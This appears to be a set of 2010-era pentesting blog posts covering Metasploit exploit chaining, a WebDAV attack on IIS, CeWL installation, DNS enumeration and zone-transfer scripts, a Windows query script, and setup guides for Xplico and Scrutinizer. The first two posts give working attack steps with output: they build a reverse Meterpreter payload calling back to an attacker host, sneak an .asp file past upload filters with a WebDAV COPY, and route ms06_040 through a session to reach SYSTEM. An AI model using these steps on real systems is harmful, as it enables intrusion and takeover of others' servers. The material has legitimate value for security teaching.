Using Chained Exploits - Metasploit and Meterpreter

There are certain situations where a successful exploit may leave us a shell, however that shell does not have SYSTEM/ROOT level privileges. As an example, I've obtained a Windows Meterpreter (reverse TCP) shell using a WebDAV exploit as explained earlier on this blog. This session has the rights of the web daemon, which are not enough to do most of the fun stuff.


meterpreter > getuid
Server username: USER\IWAM_USER
meterpreter > hashdump
[-] Unknown command: hashdump.
meterpreter > use priv
Loading extension priv...success.
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: 87

After exhausting most of the local privilege escalation techniques I could think of (both using Meterpreter's built-in capabilities and uploading executable code on my target), I decided upon another approach. What if i could chain a second exploit and piggy back it off of my existing Meterpreter session? Fortunately, the developers of Metasploit implemented a neat feature that will allow me to do this very thing.

The route command actually can be configured to route all traffic through an existing Meterpreter session. As you can see, the following steps led me from frustration to GAME OVER. In this example, this was Meterpreter session four (which is the last argument in the route add syntax).

msf exploit(handler) > route add 127.0.0.1 255.255.255.255 4
msf exploit(handler) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
127.0.0.1 255.255.255.255 Session 4

msf exploit(handler) > use exploit/windows/smb/ms06_040_netapi
msf exploit(ms06_040_netapi) > set RHOST 127.0.0.1
msf exploit(ms06_040_netapi) > exploit

[*] Started reverse handler on 192.168.1.2:13337
[*] Detected a Windows XP SP0/SP1 target
[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:127.0.0.1[\BROWSER] ...
[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:127.0.0.1[\BROWSER] ...
[*] Building the stub data...
[*] Calling the vulnerable function...
[*] Sending stage (748032 bytes) to 192.168.1.3
[*] Meterpreter session 8 opened (192.168.1.2:13337 -> 192.168.1.3:4855) at Thu Jun 03 16:48:41 -0400 2010

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Hacking IIS via WebDAV

Often, as pentesters, we will run into web servers running WebDAV. WebDAV is convenient for developers as it allows them to remotely edit and manage files on web serves. For the same reason that make it helpful for them, it can also leave it vulnerable to compromise. In this example, I've run across an IIS box running a very old version as reported by my Nmap scan.

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS webserver 5.1

Just to verify the results, I'll use Netcat to grab the banners off the box. It also verifies what Nmap reported.

#nc 1.1.1.1 80 -vv

(UNKNOWN) [1.1.1.1] 80 (www) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
sent 17, rcvd 276

Once we are reasonably confident in our findings, let's scan for WebDAV. Essentially we want to know if it is present and what capabilities are active.

I use Metasploit and its built-in scanning modules for most of my follow-up steps. There are a few auxiliary modules that work brilliantly.

msf > use scanner/http/webdav_website_content
msf auxiliary(webdav_website_content) > set RHOSTS 1.1.1.1
msf auxiliary(webdav_website_content) > run
[*] Found file or directory in WebDAV response (1.1.1.1) http://1.1.1.1/scripts/

msf auxiliary(webdav_website_content) > use scanner/http/webdav_test
msf auxiliary(webdav_test) > set RHOSTS 1.1.1.1
msf auxiliary(webdav_test) > set PATH /scripts
[*] 1.1.1.1/scripts (Microsoft-IIS/5.1) has unknown ENABLED
[*] 1.1.1.1/scripts (Microsoft-IIS/5.1) Allows Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
[*] 1.1.1.1/scripts (Microsoft-IIS/5.1) Has Public Methods: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
[*] Attempting to create /scriptsWebDavTest_4OpejeyCdj
[*] 192.168.13.203/scripts is WRITEABLE
[*] Checking extensions for upload and execution
[*] Prohibited file types ASP, EXE

Considering that the server is filtering certain types of file extensions, we'll need to upload our payload using something safe; in this example I'll use .txt. Before we upload, we'll first need to create the payload so I'll setup a reverse meterpreter payload for Windows using port 1337. Here is how you would create the payload using the built-in Metasploit tools msfpayload and msfencode.

cd /pentest/exploits/framework3
./msfpayload windows/meterpreter/reverse_tcp LHOST=2.2.2.2 LPORT=1337 R | ./msfencode -o evilpayload.asp

Now we realize we can't upload .asp files directly to the webserver so we'll get a little tricky. Earlier our WebDAV scans indicated we were able to execute the COPY command so this is where we will use it. Before we move to that, let's get our listener ready.

./msfconsole
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 2.2.2.2
set LPORT 1337
exploit

To make uploading the file easy, I found a neat tool named davtest which makes the heavy lifting very manageable. The program can be found here. The following syntax will take our meterpreter payload and upload it to the server using a .txt file extension.

./davtest.pl -url http://1.1.1.1/scripts/ -uploadfile/root/evilpayload.asp -uploadloc evilpayload.asp.txt

Browse to the server's script directory to ensure you see the new .txt file. The last major hurdle to tackle is renaming our file. Here is where we take advantage of the WebDAV COPY function. Netcat into the server and execute the following code.

nc 1.1.1.1 80 -vv
COPY /scripts/evilpayload.asp.txt HTTP/1.1
Host: 1.1.1.1
Destination: http://1.1.1.1/scripts/evilpayload.asp
Overwrite: T

Assuming this was successful, simply click on the newly created evilpayload.asp file and a meterpreter shell will be returned in your multi/handler session. In most cases, the limitation will be on local privilege (determined by what privilege IIS is running).

Installing CeWL in BT4

A great way to build custom password lists to feed into password crackers is by profiling the target’s websites using CeWL. More information on CeWL can be found here: CeWL - DigiNinja

Getting CeWL installed on BT4 takes a little bit of work. Since I just got done doing this very thing, i figured I'd share the steps needed to do the trick. The first thing to do is download the latest version of Ruby Gems (BT4 comes with 1.2.0, I believe).

wget http://rubyforge.org/frs/download.ph...gems-1.3.6.tgz
tar -xvf rubygems-1.3.6.tgz
rm rubygems-1.3.6.tgz
cd rubygems-1.3.6/
ruby setup.rb
gem –v (verifying the version is 1.3.6)

Once this is complete, download the latest version of CeWL from the project's website.

cd /pentest/passwords
wget digininja.org/files/cewl_3.0.tar.bz2
tar –xvjf cewl_3.0.tar.bz2
rm cewl_3.0.tar.bz2
cd cewl

Now there are some dependencies needed to run the program.

apt-get install libxml2-dev libxslt-dev libimage-exiftool-perl
gem install mime-types archive-tar-minitar nokogiri echoe hoe rcov zip rubyzip mini_exiftool http_configuration spider hpricot
export RUBYOPT=rubygems

Once we’re at this point, test it out and make sure it is functional.

./cewl.rb -d 2 -v VICTIM_URL

Assuming it works you can now begin creating custom password lists based on our target of choice.

Bash Script - DNS Enumeration

Part of any good reconnaissance work is enumerating your target. Normally you look for the "low hanging fruit" and what information is readily available to you.

I like to use DNS as an ally since the information is freely available and, if done correctly, it is relatively quiet.

I've written a couple small bash script to automate the process of collecting this information which can be a handful if done manually.

The first thing required is a text file called 'dns.txt' which will store a list of well known host names. This file will be called by the script when it attempts to enumerate available hosts. Entries in this file will include expected values for publicly available hosts. Listed below are my values, but your mileage may vary.

www
www1
www2
web
dns
dns1
dns2
ns
ns1
ns2
ns3
mail
mailhost
smtp
outlook
imap
pop
webmail
vpn
extranet
portal
proxy
secure
cisco
router
gateway
fw
fwsm
firewall
ftp
tftp
news
portal
news
blog
test
honeypot
backup
linux
oracle
unix
search
forum

In the same directory create a new file named DNSGrab.sh and give it executable rights if desired "chmod 755 DNSGrab.sh"

#!/bin/bash
echo -e "\nThis script will allow you to look for publically available hosts"
echo "You can perform a query either by selecting a target domain or /24 network"
echo "Would you like to [domain] scan or [subnet] enumerate?"
read answer
if [ $answer = "domain" ]; then
        echo "What domain would you like to scan?:"
        echo "example 'domain.com'"
        read domain
        echo -e "\n"
        for name in $(cat dns.txt);do
        host $name.$domain | grep "has address"
        done
elif [ $answer = "subnet" ]; then
        echo "Please enter Class C Subnet which you'd like to enumerate:"
        echo -e "example 192.168.20\n"
        read subnet
        for octet in `seq 1 254`;do
        host $subnet.$octet | grep "name pointer" | cut -d" " -f1,5
        done
else
        echo -e "\nExpected 'domain' or 'subnet' as input, script exiting..."
fi

This script will simply do one of two things based by the user input of "domain" or "subnet". If "domain" is chosen it will quickly scour DNS looking for any hosts matching those in the dns.txt file. For example, if you chose google.com then it would try resolving ns.google.com, ns1.google.com, and on down the line. This can be a great for spotting discontinuous subnets and discovering information about network topologies, etc.

If "subnet" is chosen then it will do a lookup of all hosts on a given /24. Examples of each are listed below:

# ./DNSGrab.sh

This script will allow you to look for publically available hosts
You can perform a query either by selecting a target domain or /24 network
Would you like to [domain] scan or [subnet] enumerate?
domain
What domain would you like to scan?:
example 'domain.com'
hp.com


www.hpgtm.nsatc.net has address 15.201.49.22
www.hpgtm.nsatc.net has address 15.216.110.22
ns1.hp.com has address 15.219.145.12
ns2.hp.com has address 15.219.160.12
ns3.hp.com has address 15.203.209.12
mail.hp.com has address 15.192.0.152
smtp.hp.com has address 15.201.24.91
webmail.hp.com has address 16.230.34.78
extranet.hp.com has address 16.110.176.200
extranet.hp.com has address 16.228.52.17
extranet.hp.com has address 16.230.58.17
extranet.hp.com has address 16.234.58.17
extranet.hp.com has address 16.236.203.17
extranet.hp.com has address 16.238.58.17
portal.hp.com has address 16.232.36.204
ftp.hpgtm.nsatc.net has address 15.192.45.27
ftp.hpgtm.nsatc.net has address 15.216.110.132
usenet01.boi.hp.com has address 15.8.40.106
portal.hp.com has address 16.232.36.204
usenet01.boi.hp.com has address 15.8.40.106
linux.hp.com has address 192.6.234.9
linux.hp.com has address 192.151.53.86
oracle.hardingmarketing.com has address 66.35.221.168
www.hpgtm.nsatc.net has address 15.216.110.22
www.hpgtm.nsatc.net has address 15.201.49.22
search.hpgtm.nsatc.net has address 15.192.0.84

# ./DNSGrab.sh

This script will allow you to look for publically available hosts
You can perform a query either by selecting a target domain or /24 network
Would you like to [domain] scan or [subnet] enumerate?
subnet
Please enter Class C Subnet which you'd like to enumerate:
example 192.168.20

16.232.36
1.36.232.16.in-addr.arpa vip-iba-16-236-36-0-gw.houston.hp.com.
2.36.232.16.in-addr.arpa cce01gwdc509-vlan265.houston.hp.com.
3.36.232.16.in-addr.arpa cce01gwdc510-vlan265.houston.hp.com.
4.36.232.16.in-addr.arpa cce01swdclb511-265.houston.hp.com.
5.36.232.16.in-addr.arpa cce01swdclb512-265.houston.hp.com.
6.36.232.16.in-addr.arpa cce01swdclb511-265-alias.houston.hp.com.
7.36.232.16.in-addr.arpa vip2-g3w1945c.houston.hp.com.
8.36.232.16.in-addr.arpa vappnestpro3.houston.hp.com.
9.36.232.16.in-addr.arpa gvu3727.houston.hp.com.
10.36.232.16.in-addr.arpa oispro-llb3.houston.hp.com.
11.36.232.16.in-addr.arpa gvu4394.houston.hp.com.
12.36.232.16.in-addr.arpa gvu4395.houston.hp.com.
13.36.232.16.in-addr.arpa gvu4442.houston.hp.com.
16.36.232.16.in-addr.arpa cce01-c509-nat265.houston.hp.com.
21.36.232.16.in-addr.arpa g3w0266.houston.hp.com.
(/snip)

If you want to test out the configuration of the DNS servers on a given domain, I've written an automated method to do that too. Follow the same steps as above and call this file "ZTransfer.sh". Here is the script:

#!/bin/bash

echo "Please enter domain:"
read domain

for ns in $(host -t ns $domain | cut -d" " -f4);do
host -l $domain $ns | grep "has address" > $domain.txt
done
if [ ! -s "$domain.txt" ]; then
        echo "Zone Transfer Failed!"
        rm "$domain.txt"
else
        echo "Zone Transfer Completed Successfully!"
fi

Simply put, this will attempt a zone transfer on a user inputted domain name. It goes without saying that you shouldn't do this unless you have permission to do so. It would be appropriate for pen testers and DNS admins looking to test the security of their configurations.

These were written and tested on a BT4 distro, feel free to modify as needed...

First Python Script - Simple Windows Query Tool

Decided to take up Python based on rave reviews from all the programmers I work with. For my first go at it, I wrote a simple little program that will remotely grab information off of remote Windows machines as part of investigations. This was written in Python 3.x so I can't guarantee compatibility with Python 2.x.

The program makes calls to the PSTools suite as well as Nmap so make sure that both are installed and listed in your environmental variable path.

When run, the program will scan the remote target using Nmap looking for well known Windows ports. If it sees the remote workstation online, it will continue to grab a wealth of information from the target and store that information into individual text files.

"""
HostQuery.py
Author: Skid Rock 02.26.2010
Target Users: Individuals Conducting Windows Machine Investigations
Target System: Remote Windows Workstations
Syntax: HostQuery.py <enter>
"""

version = 0.1

import sys,os,string,time

machine = input('\nPlease Enter Workstation IP Address:')
os.system("nmap -sS " + machine + " -p 135,139,445 > scan.txt")

for line in open("scan.txt"):
if "Host is up" in line:
    print ("\nHost " + machine + " appears to be online, grabbing information...\n")
    os.system("psinfo -sc \\\\" + machine + " >" + machine + ".info.txt")
    os.system("pslist \\\\" + machine + " >" + machine + ".list.txt")
    os.system("psloggedon \\\\" + machine + " >" + machine + ".loggedon.txt")
    os.system("psfile \\\\" + machine + " >" + machine + ".file.txt")
    os.system("psloglist \\\\" + machine + " -d 7 -s Security >" + machine + ".eventlog.txt")
    os.system("psexec \\\\" + machine + " netstat -bnv >" + machine + ".netstat.txt")
    print ("\n\nCommand Completed Successfully...\n")
    exit
else:
    if "Host seems down." in line:
        print ("\n\nHost " + machine + " appears down, or is not a Windows based OS, exiting...\n")
        exit

Xplico - Network Forensics

Finally had a chance to play with Xplico, recently updated to version 0.5.5. For those not familiar with Xplico, please visit the development page here.
In short, Xplico is an open source tool designed to aid in dissecting large network captures in .pcap format. It can also do live captures and report on sessions as they get discovered. Installing Xplico is not trivial, and required some trial and error on my part so here are the cliff notes based on an Ubuntu 9.10 installation.

apt-get install tcpdump tshark apache2 php5 php5-sqlite build-essential perl zlib1g-dev libpcap-dev libsqlite3-dev php5-cli libapache2-mod-php5 libx11-dev libxt-dev libxaw7-dev python-all sqlite3 recode libmysqlclient15-dev

cd/tmp
mkdir xplico_install
cd xplico_install
wget http://sourceforge.net/projects/xplico/files/Xplico%20versions/version%200.5.5/xplico-0.5.5.tgz/download
tar zxvf xplico-0.5.x.tgz
wget http://geolite.maxmind.com/download/geoip/api/c/GeoIP-1.4.6.tar.gz
tar zxvf GeoIP-1.4.6.tar.gz
cd GeoIP-1.4.6
./configure
makecd ..
rm -f GeoIP-1.4.6.tar.gzcd xplico-0.5.5
wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
gzip -d GeoLiteCity.dat.gz
rm -f GeoLiteCity.dat.gz
make
cd ..
wget http://mirror.cs.wisc.edu/pub/mirrors/ghost/GPL/ghostpdl/ghostpdl-8.70.tar.bz2
tar jxvf ghostpdl-8.70.tar.bz2
rm -f ghostpdl-8.70.tar.bz2
cd ghostpdl-8.70make (this will take some time so go get coffee or something)
cd ..
cp ghostpdl-8.70/main/obj/pcl6 xplico-0.5.5
rm -rf ghostpdl-8.70
cd xplico-0.5.5
make install
cp /opt/xplico/cfg/apache_xi /etc/apache2/sites-enabled/xplico

- Edit this file by adding as follows /etc/apache2/ports.conf
# xplico Host port
NameVirtualHost *:9876
Listen 9876

- You will also have to edit the php.ini file located here /etc/php5/apache2/php.ini.
Find and modify both of these lines:post_max_size = 200M
upload_max_filesize = 100M

a2enmod rewrite
/etc/init.d/apache2 restart

Once you get this laundry list complete, simply fire up Firefox and launch URL http://127.0.0.1:9876 (if on local box) or http://(ip address):9876 if accessing remotely. Version 0.5.5 has a default username/password combination of xplico/xplico.

The first thing you'll want to do after logging in is create a new case. Xplico uses cases as top level and session as bottom level for all investigations. The screenshot below shows a session named example with multiple .pcap files uploaded and decoded by Xplico.


Navigating around the interface is fairly self explanatory but I've found it does a great job with decoding specific high level applications such as HTTP and FTP. Others may find value in its ability to decode Facebook chat and various types of email.

To reconstruct HTTP sessions, set Firefox's proxy settings to Xplico (below is a screenshot assuming Xplico is being run on localhost).

Click on the Web menu item and select what you want to view. In this case, I am looking at HTML. Select the HTTP conversation you want to inspect and click on the URL recorded by Xplico. It will reconstruct the HTTP session and display the session in a new window.

Future posts will go into more depth on Xplico as I have an opportunity to use it in real-world investigations. Kudos to the Xplico development team on a very promising tool...

Beginner's Setup Guide - Scrutinizer Netflow Analyzer

Scrutinizer is a Netflow repository tool created by Plixer. It provides a very intuitive GUI front-end that allows network administrators to quickly use collected Netflow data for auditing, troubleshooting, and reporting purposes.

There are two versions of Scrutinizer, both a free and paid version. Note that the free version dumps the database every day at midnight so you are limited in long term analysis capabilities.

The following text assumes that you have a working knowledge of Netflow.

Scrutinizer “listens”; it does not poll network devices. This means that the configuration is very simple and is very common for Cisco devices. Listed below are very basic commands used to enable Netflow exportation on a Cisco 6500 device. Some of these commands are unique to the 6500 platform and will not be required on an ISR router, for example. Those unique platform commands are bolded below.

ip flow-export source Loopback0
ip flow-export version 5
ip flow-export destination 192.168.1.1 9996
ip flow ingress layer2-switched vlan 10-11
ip flow-cache timeout active 1
ip flow-cache timeout inactive 15
mls nde sender version 5
mls aging long 64
mls aging normal 64
interface Vlan10
ip route-cache flow
interface Vlan11
ip route-cache flow
access-list 10 remark SNMP-access-list RO
access-list 10 permit 192.168.1.1
snmp-server community snmpread RO 10

Further information on setting up Netflow can be found here and here.

Setting up your Scrutinizer installation to be accessible remotely is as simple as finding the configuration file located in the "*\scrutinizer\apache2\conf\httpd.conf" file and replacing "ServerName localhost:8080" to something of your liking such as "Servername .domain.com:8080". Once completed, you can log in via a web browser (just remember to include the port of 8080 after the URL).

This will get your base installation completed, in future posts I'll go over how to configure Scrutinizer so you can get started with the Netflow analysis.